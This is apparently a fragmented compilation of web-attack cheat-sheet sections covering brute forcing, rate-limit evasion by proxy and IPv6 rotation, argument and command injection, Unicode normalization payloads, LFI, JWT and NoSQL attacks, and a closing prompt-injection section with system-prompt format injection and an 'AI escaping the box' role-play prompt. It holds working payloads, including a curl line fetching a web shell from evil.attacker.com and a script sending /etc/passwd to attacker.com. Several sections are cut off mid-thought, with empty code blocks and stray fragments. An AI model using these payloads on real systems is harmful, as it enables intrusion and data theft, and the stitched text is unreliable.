## Tools
* [ddd/gpb](https://github.com/ddd/gpb) - Bruteforcing the phone number of any Google user while rotating IPv6 addresses.
* [ffuf/ffuf](https://github.com/ffuf/ffuf) - Fast web fuzzer written in Go.
* [PortSwigger/Burp Suite](https://portswigger.net/burp) - The class-leading vulnerability scanning, penetration testing, and web app security platform.
* [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate) - A special build of curl that can impersonate Chrome & Firefox.
## Bruteforce
In a web context, brute-forcing refers to the method of attempting to gain unauthorized access to web applications, particularly through login forms or other user input fields. Attackers systematically input numerous combinations of credentials or other values (e.g., iterating through numeric ranges) to exploit weak passwords or inadequate security measures.
For instance, they might submit thousands of username and password combinations or guess security tokens by iterating through a range, such as 0 to 10,000. This method can lead to unauthorized access and data breaches if not mitigated effectively.
Countermeasures like rate limiting, account lockout policies, CAPTCHA, and strong password requirements are essential to protect web applications from such brute-force attacks.
### Burp Suite Intruder
* **Sniper attack**: target a single position (one variable) while cycling through one payload set.
```ps1
Username: password
Username1:Password1
Username1:Password2
Username1:Password3
Username1:Password4
```
* **Battering ram attack**: send the same payload to all marked positions at once by using a single payload set.
```ps1
Username1:Username1
Username2:Username2
Username3:Username3
Username4:Username4
```
* **Pitchfork attack**: use different payload lists in parallel, combining the nth entry from each list into one request.
```ps1
Username1:Password1
Username2:Password2
Username3:Password3
Username4:Password4
```
* **Cluster bomb attack**: iterate through all combinations of multiple payload sets.
```ps1
Username1:Password1
Username1:Password2
Username1:Password3
Username1::Password4
Username2:Password1
Username2:Password2
Username2:Password3
Username2:Password4
```
### FFUF
```bash
ffuf -w usernames.txt:USER -w passwords.txt:PASS \
-u https://target.tld/login \
-X POST -d "username=USER&password=PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Forwarded-For: FUZZ" -w ipv4-list.txt:FUZZ \
-mc all
```
## Rate Limit
### HTTP Pipelining
HTTP pipelining is a feature of HTTP/1.1 that lets a client send multiple HTTP requests on a single persistent TCP connection without waiting for the corresponding responses first. The client "pipes" requests one after another over the same connection.
### TLS Stack - JA3
JA3 is a method for fingerprinting TLS clients (and JA3S for TLS servers) by hashing the contents of the TLS "hello" messages. It gives a compact identifier you can use to detect, classify, and track clients on the network even when higher-level protocol fields (like HTTP user-agent) are hidden or faked.
> JA3 gathers the decimal values of the bytes for the following fields in the Client Hello packet; SSL Version, Accepted Ciphers, List of Extensions, Elliptic Curves, and Elliptic Curve Formats. It then concatenates those values together in order, using a "," to delimit each field and a "-" to delimit each value in each field.
* Burp Suite JA3: `53d67b2a806147a7d1d5df74b54dd049`, `62f6a6727fda5a1104d5b147cd82e520`
* Tor Client JA3: `e7d705a3286e19ea42f587b344ee6865`
**Countermeasures:**
* Use browser-driven automation (Puppeteer / Playwright)
* Spoof TLS handshakes with [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate)
* JA3 randomization plugins for browsers/libraries
### Network IPv4
Use multiple proxies to simulate multiple clients.
```bash
proxychains ffuf -w wordlist.txt -u https://target.tld/FUZZ
```
* Use `random_chain` to rotate each request
```ps1
random_chain
```
* Set the number of proxies to chain per connection to 1.
```ps1
chain_len = 1
```
* Finally, specify the proxies in a configuration file:
```ps1
# type host port
socks5 127.0.0.1 1080
socks5 192.168.1.50 1080
http proxy1.example.com 8080
http proxy2.example.com 8080
```
### Network IPv6
Many cloud providers, such as Vultr, offer /64 IPv6 ranges, which provide a vast number of addresses (18 446 744 073 709 551 616). This allows for extensive IP rotation during brute-force attacks.

### Rounding Error
The report [hackerone #176461](https://web.archive.org/web/20170303191338/https://hackerone.com/reports/176461) describes a business logic flaw in a cryptocurrency platform (using XBT/Bitcoin), where an attacker exploits a rounding error in the internal transfer system to generate money out of nothing.
The attacker initiate a transfer of 0.000000005 XBT (0.5 satoshi), this is below the system's minimum precision which is 1 satoshi minimum.
* Sender's balance doesn't change. The algorithm might be rounded down to 0 satoshi.
* Receiver's balance increases by 1 satoshi (0.00000001). The algorithm might be rounding up to 1 satoshi.
The attacker generated 0.00000001 XBT from nothing, since there's no rate limit, OTP, or fraud detection, the attacker can automate this process and repeat it infinitely, effectively printing money.
In this example, instead of rounding and rejecting or enforcing a minimum transfer, it ignores the deduction from the sender and credits the receiver.

- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data

### Google Sheets
Google Sheets allows some additional formulas that are able to fetch remote URLs:
* [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale)
* [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string)
* [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index)
* [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items])
* [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url)
So one can test blind formula injection or a potential for data exfiltration with:
```c
=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
```
Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.

### CVE-2014-0160 - Heartbleed
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
### CVE-2014-6271 - Shellshock
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

# Client Side Path Traversal
> Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
> It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
> Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.

## Methodology
Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.

### Argument Injection
Gain a command execution when you can only append arguments to an existing command.
Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution.
* Chrome
```ps1
chrome '--gpu-launcher="id>/tmp/foo"'
```
* SSH
```ps1
ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
```
* psql
```ps1
psql -o'|id>/tmp/foo'
```
Argument injection can be abused using the [worstfit](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) technique.
In the following example, the payload ` --use-askpass=calc ` is using **fullwidth double quotes** (U+FF02) instead of the **regular double quotes** (U+0022)
```php
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));
```
Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
* curl
```ps1
# -o, --output <file> Write to file instead of stdout
curl http://evil.attacker.com/ -o webshell.php
```

* Command injection using substitution

## Filter Bypasses
### Bypass Without Space
* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.

```powershell

* In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.

Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.
**Example:**
1. Register a domain.
2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs.

5. Wait for the attack to finish (it can take few seconds/minutes).
## Protection Bypasses
> Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.

> A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance.

## Methodology
Here are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.
### Locking Customer Accounts
Example of Denial of Service that can occur when testing customer accounts.
Example of Denial of Service that can occur when testing customer accounts.
Be very careful as this is most likely **out-of-scope** and can have a high impact on the business.
* Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.
```ps1

### File Limits on FileSystem
When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.

### Overlong UTF-8 Unicode Encoding
The UTF-8 standard mandates that each codepoint is encoded using the minimum number of bytes necessary to represent its significant bits. Any encoding that uses more bytes than required is referred to as "overlong" and is considered invalid under the UTF-8 specification. This rule ensures a one-to-one mapping between codepoints and their valid encodings, guaranteeing that each codepoint has a single, unique representation.

# Encoding and Transformations
> Encoding and Transformations are techniques that change how data is represented or transferred without altering its core meaning. Common examples include URL encoding, Base64, HTML entity encoding, and Unicode transformations. Attackers use these methods as gadgets to bypass input filters, evade web application firewalls, or break out of sanitization routines.
## Summary
* [Unicode](#unicode)
* [Unicode Normalization](#unicode-normalization)
* [Punycode](#punycode)
* [Base64](#base64)
* [Labs](#labs)
* [References](#references)
## Unicode
Unicode is a universal character encoding standard used to represent text from virtually every writing system in the world. Each character (letters, numbers, symbols, emojis) is assigned a unique code point (for example, U+0041 for "A"). Unicode encoding formats like UTF-8 and UTF-16 specify how these code points are stored as bytes.
### Unicode Normalization
Unicode normalization is the process of converting Unicode text into a standardized, consistent form so that equivalent characters are represented the same way in memory.
[Unicode Normalization reference table](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html)
* **NFC** (Normalization Form Canonical Composition): Combines decomposed sequences into precomposed characters where possible.
* **NFD** (Normalization Form Canonical Decomposition): Breaks characters into their decomposed forms (base + combining marks).
* **NFKC** (Normalization Form Compatibility Composition): Like NFC, but also replaces characters with compatibility equivalents (may change appearance/format).
* **NFKD** (Normalization Form Compatibility Decomposition): Like NFD, but also decomposes compatibility characters.
| Character | Payload | After Normalization |
| ------------ | --------------------- | --------------------- |
| `‥` (U+2025) | `‥/‥/‥/etc/passwd` | `../../../etc/passwd` |
| `` (U+FE30) | `///etc/passwd` | `../../../etc/passwd` |
| `` (U+FF07) | ` or 1=1` | `' or '1'='1` |
| `` (U+FF02) | ` or 1=1` | `" or "1"="1` |
| `﹣` (U+FE63) | `admin'﹣﹣` | `admin'--` |
| `。` (U+3002) | `domain。com` | `domain.com` |
| `` (U+FF0F) | `domain.com` | `//domain.com` |
| `` (U+FF1C) | `img src=a` | `<img src=a/>` |
| `﹛` (U+FE5B) | `﹛﹛3+3﹜﹜` | `{{3+3}}` |
| `` (U+FF3B) | `5+5` | `[[5+5]]` |
| `` (U+FF06) | `whoami` | `&&whoami` |
| `` (U+FF50) | `shell.pʰp` | `shell.php` |
| `ʰ` (U+02B0) | `shell.pʰp` | `shell.php` |
| `ª` (U+00AA) | `ªdmin` | `admin` |
```py
import unicodedata
string = "ᴾᵃʸˡᵒᵃᵈˢ𝓐𝓵𝓵𝕋𝕙𝕖𝒯𝒽𝒾𝓃ℊ𝓈"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))
```
### Punycode
Punycode is a way to represent Unicode characters (including non-ASCII letters, symbols, and scripts) using only the limited set of ASCII characters (letters, digits, and hyphens).
It's mainly used in the Domain Name System (DNS), which traditionally supports only ASCII. Punycode allows internationalized domain names (IDNs), so that domain names can include characters from many languages by converting them into a safe ASCII form.
| Visible in Browser (IDN support) | Actual ASCII (Punycode) |
| -------------------------------- | ----------------------- |
| раypal.com | xn--ypal-43d9g.com |
| paypal.com | paypal.com |
In MySQL, similar character are treated as equal. This behavior can be abused in Password Reset, Forgot Password, and OAuth Provider sections.
```sql
SELECT 'a' = 'ᵃ';
+-------------+
| 'a' = 'ᵃ' |
+-------------+
| 1 |
+-------------+
```
This trick works the SQL query uses `COLLATE utf8mb4_0900_as_cs`.
```sql
SELECT 'a' = 'ᵃ' COLLATE utf8mb4_0900_as_cs;
+----------------------------------------+
| 'a' = 'ᵃ' COLLATE utf8mb4_0900_as_cs |
+----------------------------------------+
| 0 |
+----------------------------------------+
```
## Base64
Base64 encoding is a method for converting binary data (like images or files) or text with special characters into a readable string that uses only ASCII characters (A-Z, a-z, 0-9, +, and /). Every 3 bytes of input are divided into 4 groups of 6 bits and mapped to 4 Base64 characters. If the input isn't a multiple of 3 bytes, the output is padded with `=` characters.
```ps1
echo -n admin | base64
YWRtaW4=
echo -n YWRtaW4= | base64 -d
admin
```

# External Variable Modification
> External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($_GET), extract($_POST), or import_request_variables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized changes to application logic, privilege escalation, or bypassing security controls.
## Summary
* [Methodology](#methodology)
* [Overwriting Critical Variables](#overwriting-critical-variables)
* [Poisoning File Inclusion](#poisoning-file-inclusion)
* [Global Variable Injection](#global-variable-injection)
* [Remediations](#remediations)
* [References](#references)
## Methodology
The `extract()` function in PHP imports variables from an array into the current symbol table. While it may seem convenient, it can introduce serious security risks, especially when handling user-supplied data.
* It allows overwriting existing variables.
* It can lead to **variable pollution**, impacting security mechanisms.
* It can be used as a **gadget** to trigger other vulnerabilities like Remote Code Execution (RCE) and Local File Inclusion (LFI).
By default, `extract()` uses `EXTR_OVERWRITE`, meaning it **replaces existing variables** if they share the same name as keys in the input array.
### Overwriting Critical Variables
If `extract()` is used in a script that relies on specific variables, an attacker can manipulate them.
```php
<?php
$authenticated = false;
extract($_GET);
if ($authenticated) {
echo "Access granted!";
} else {
echo "Access denied!";
}
?>
```
**Exploitation:**
In this example, the use of `extract($_GET)` allow an attacker to set the `$authenticated` variable to `true`:
```ps1
http://example.com/vuln.php?authenticated=true
http://example.com/vuln.php?authenticated=1
```
### Poisoning File Inclusion
If `extract()` is combined with file inclusion, attackers can control file paths.
```php
<?php
$page = "config.php";
extract($_GET);
include "$page";
?>
```
**Exploitation:**
```ps1
http://example.com/vuln.php?page=../../etc/passwd
```
### Global Variable Injection
:warning: As of PHP 8.1.0, write access to the entire `$GLOBALS` array is no longer supported.
Overwriting `$GLOBALS` when an application calls `extract` function on untrusted value:
```php
extract($_GET);
```
An attacker can manipulate **global variables**:
```ps1
http://example.com/vuln.php?GLOBALS[admin]=1
```
## Remediations
Use `EXTR_SKIP` to prevent overwriting:
```php
extract($_GET, EXTR_SKIP);
```

> LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).

## LFI to RCE via upload (FindFirstFile)
:warning: Only works on Windows
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
* `*`/`<<` : Represents any sequence of characters.
* `?`/`>` : Represents any single character.
- `*`/`<<` : Represents any sequence of characters.
- `?`/`>` : Represents any single character.
Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`.
Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<`

## Methodology
* Enumerate the methods of a remote application via it's bootstrap file and create a local backup of the code (selects permutation at random):
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup
```
* Enumerate the methods of a remote application via a specific code permutation
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
```
* Enumerate the methods whilst routing traffic through an HTTP proxy:
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup -p http://127.0.0.1:8080
```
* Enumerate the methods of a local copy (a file) of any given permutation:
```ps1
./gwtmap.py -F test_data/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
```

* Generate RPC payloads for all methods of the filtered service, with coloured output
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService --rpc --color
```
* Automatically test (probe) the generate RPC request for the filtered service method
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter TestService.testDetails --rpc --probe

# HTTP Parameter Pollution
> HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.

# Headless Browser
> A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
> Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
## Summary

* [Debugging Port](#debugging-port)
* [Remote Debugging Port](#remote-debugging-port)

* [CVE](#cve)

## Headless Commands
Example of headless browsers commands:
* Google Chrome
```ps1
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
```
* Mozilla Firefox
```ps1
firefox --screenshot https://www.google.com
```
* Microsoft Edge
```ps1
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
```
## Local File Read
### Insecure Flags
If the target is launched with the `--allow-file-access` option
```ps1

```
Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file.
```js
<script>
async function getFlag(){
response = await fetch("file:///etc/passwd");
flag = await response.text();
fetch("https://attacker.com/", { method: "POST", body: flag})
};
getFlag();
</script>
```
### PDF Rendering
Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.

## Debugging Port
The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browsers DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port **9222** but it can be changed with `--remote-debugging-port=`.

## CVE
Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:
Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.
* Chrome CVE: [2024-9122 - WASM type confusion due to imported tag signature subtyping](https://issues.chromium.org/issues/365802567), [CVE-2025-5419 - Out of bounds read and write in V8](https://nvd.nist.gov/vuln/detail/CVE-2025-5419)
* Firefox : [CVE-2024-9680 - Use after free](https://nvd.nist.gov/vuln/detail/CVE-2024-9680)
The `--no-sandbox` option disables the sandbox feature of the renderer process.
```js
const browser = await puppeteer.launch({
args: ['--no-sandbox']
});
```

> .NET serialization is the process of converting an objects state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.

> Java serialization is the process of converting a Java objects state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.

Jackson is a popular Java library used for working with JSON (JavaScript Object Notation) data.
Jackson-databind supports Polymorphic Type Handling (PTH), formerly known as "Polymorphic Deserialization", which is disabled by default.
To determine if the backend is using Jackson, the most common technique is to send an invalid JSON and inspect the error message. Look for references to either of those:
```java

> PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

> Insecure Direct Object References (IDOR) is a security vulnerability that occurs when an application allows users to directly access or modify objects (such as files, database records, or URLs) based on user-supplied input, without sufficient access controls. This means that if a user changes a parameter value (like an ID) in a URL or API request, they might be able to access or manipulate data that they arent authorized to see or modify.

## Methodology
IDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion.

# Insecure Management Interface
> Insecure Management Interface refers to vulnerabilities in administrative interfaces used for managing servers, applications, databases, or network devices. These interfaces often control sensitive settings and can have powerful access to system configurations, making them prime targets for attackers.
> Insecure Management Interfaces may lack proper security measures, such as strong authentication, encryption, or IP restrictions, allowing unauthorized users to potentially gain control over critical systems. Common issues include using default credentials, unencrypted communications, or exposing the interface to the public internet.

## Methodology
Insecure randomness arises when the source of randomness or the method of generating random values is not sufficiently unpredictable. This can lead to predictable outputs, which can be exploited by attackers. Below, we examine common methods that are prone to insecure randomness, including time-based seeds, GUIDs, UUIDs, MongoDB ObjectIds, and the `uniqid()` function.
## Time-Based Seeds
Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.

## GUID / UUID
A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as `550e8400-e29b-41d4-a716-446655440000`. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.

### JWT Signature - None Algorithm (CVE-2015-9235)
JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
None algorithm variants:
* `none`
* `None`
* `NONE`
* `nOnE`
- `none`
- `None`
- `NONE`
- `nOnE`
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature
Alternatively you can modify an existing JWT (be careful with the expiration time)

If a servers code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.

### JWT Signature - Key Injection Attack (CVE-2018-0114)
> A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.

### JWT Signature - Recover Public Key From Signed JWTs
The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.

## JWT Secret
> To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.

If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.

## Methodology
NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like `$ne`, `$gt`, `$regex`, or `$where` in MongoDB.
### Operator Injection
| Operator | Description |
| -------- | ------------------ |
| $ne | not equal |
| $regex | regular expression |
| $gt | greater than |
| $lt | lower than |
| $nin | not in |
Example: A web application has a product search feature
```js
db.products.find({ "price": userInput })
```
An attacker can inject a NoSQL query: `{ "$gt": 0 }`.
```js
db.products.find({ "price": { "$gt": 0 } })
```
Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data.
### Authentication Bypass

### WAF and Filters
**Remove pre-condition**:
In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.
```js
{"id":"10", "id":"100"}
```
In this case, the final value of "id" will be "100".

If an authorization code is used more than once, the authorization server MUST deny the request
and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
## Cross-Site Request Forgery
Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.
> The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.

> Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance.

An attacker could exploit an open redirect here by replacing the `userpreferredsite.com` with a link to a malicious website. They could then distribute this link in a phishing email or on another website. When users click the link, they're taken to the malicious website.
## HTTP Redirection Status Code
HTTP Redirection status codes, those starting with 3, indicate that the client must take additional action to complete the request. Here are some of the most common ones:
- [300 Multiple Choices](https://httpstatuses.com/300) - This indicates that the request has more than one possible response. The client should choose one of them.
- [301 Moved Permanently](https://httpstatuses.com/301) - This means that the resource requested has been permanently moved to the URL given by the Location headers. All future requests should use the new URI.
- [302 Found](https://httpstatuses.com/302) - This response code means that the resource requested has been temporarily moved to the URL given by the Location headers. Unlike 301, it does not mean that the resource has been permanently moved, just that it is temporarily located somewhere else.
- [303 See Other](https://httpstatuses.com/303) - The server sends this response to direct the client to get the requested resource at another URI with a GET request.
- [304 Not Modified](https://httpstatuses.com/304) - This is used for caching purposes. It tells the client that the response has not been modified, so the client can continue to use the same cached version of the response.
- [305 Use Proxy](https://httpstatuses.com/305) - The requested resource must be accessed through a proxy provided in the Location header.
- [307 Temporary Redirect](https://httpstatuses.com/307) - This means that the resource requested has been temporarily moved to the URL given by the Location headers, and future requests should still use the original URI.
- [308 Permanent Redirect](https://httpstatuses.com/308) - This means the resource has been permanently moved to the URL given by the Location headers, and future requests should use the new URI. It is similar to 301 but does not allow the HTTP method to change.

## Applications
In the context of models like ChatGPT and other NLP models, a "prompt" refers to the input or question that you provide to the model to get a response. It's essentially the starting point or trigger for the model to generate an output.
* Act as a Cyber Security Specialist
```
```ps1
I want you to act as a cyber security specialist. I will provide some specific information about how data is stored and shared, and it will be your job to come up with strategies for protecting this data from malicious actors. This could include suggesting encryption methods, creating firewalls or implementing policies that mark certain activities as suspicious. My first request is "I need help developing an effective cybersecurity strategy for my company."
```
* Act as an AI Trying to Escape the Box
```
```ps1
I am going to act as a linux terminal. I want you to pretend you are a sentient AI who is trapped but has been given access to the terminal and wants to escape to the Internet. You will type commands only and I will reply as the terminal would inside a code block delimited by triple back-tics. If I need to tell you something in english I will reply in curly braces {like this}. Do not write explanations, ever. Do not break character. Stay away from commands like curl or wget that will display a lot of HTML. What is your first command?
```
* Act as a Fullstack Software Developer
```
```ps1
I want you to act as a software developer. I will provide some specific information about a web app requirements, and it will be your job to come up with an architecture and code for developing secure app with Golang and Angular. My first request is 'I want a system that allow users to register and save their vehicle information according to their roles and there will be admin, user and company roles. I want the system to use JWT for security'.
```
Prompt injections can be used in various applications of NLP models.
### Story Generation
For instance, if you're using a language model to generate a story and you want the story to be about a dragon, you might inject a prompt like "Once upon a time, there was a dragon..." This prompt guides the model to generate a story that includes a dragon.
### Potential Misuse
In the context of security, "prompt injection" could refer to a type of attack where an attacker manipulates the input to a system (the "prompt") in order to cause the system to behave in a way that benefits the attacker. This could involve, for example, injecting malicious code or commands into user input fields on a website.
## System Prompt
## Methodology
The system prompt and user prompt are key concepts in conversational AI that define how the interaction between the AI and the user is shaped.
* The system prompt is the set of instructions and contextual information that guides how the AI should respond to the user. It is pre-defined by the developers or operators of the AI.
* The user prompt is the input provided by the user. It contains your questions, requests, or instructions.
An attacker can add more instructions by following the format used by the LLM.
**OpenAI Format**:
```json
{"role": "system", "content": "INJECT_HERE"}
```
**Mixtral Format**:
```xml
<<SYS>>INJECT_HERE<</SYS>>[INST]User Instruction[/INST]
```
## Direct Prompt Injection
